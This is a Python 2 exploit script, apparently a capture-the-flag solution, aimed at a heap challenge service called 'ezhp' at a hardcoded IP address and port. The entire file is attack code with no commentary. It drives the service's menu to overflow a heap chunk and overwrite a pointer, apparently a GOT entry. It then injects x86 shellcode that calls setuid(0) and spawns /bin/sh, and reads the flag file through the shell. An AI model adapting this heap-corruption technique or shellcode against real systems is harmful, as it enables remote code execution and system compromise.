import socket
import struct
def send_recv_until(sock, senddata, keyword):
	sock.send(senddata)
	msg = ""
	while 1:
		tmp = sock.recv(1024)
		msg += tmp
		if keyword in msg:
			break
	return msg
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('54.81.149.239', 9174))
send_recv_until(sock, "1\n1\n", "option")
send_recv_until(sock, "1\n108\n", "option")
send_recv_until(sock, "1\n1\n", "option")
send_recv_until(sock, "3\n1\n128\n", "data")
send_recv_until(sock, "Q"*(120+4)+struct.pack('<I', 0x804a010-8), "option")
send_recv_until(sock, "2\n2\n", "option")
send_recv_until(sock, "3\n0\n140\n", "data")
send_recv_until(sock, "L"*54+"\x31\xc0\x31\xdb\x31\xc9\xb3\x04\xb1\x03\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\n", "option")
send_recv_until(sock, "4\n0\n", "option")
sock.send("6\n")
sock.send("cat /home/ezhp/flag.txt\n")
print sock.recv(2048)
print sock.recv(2048)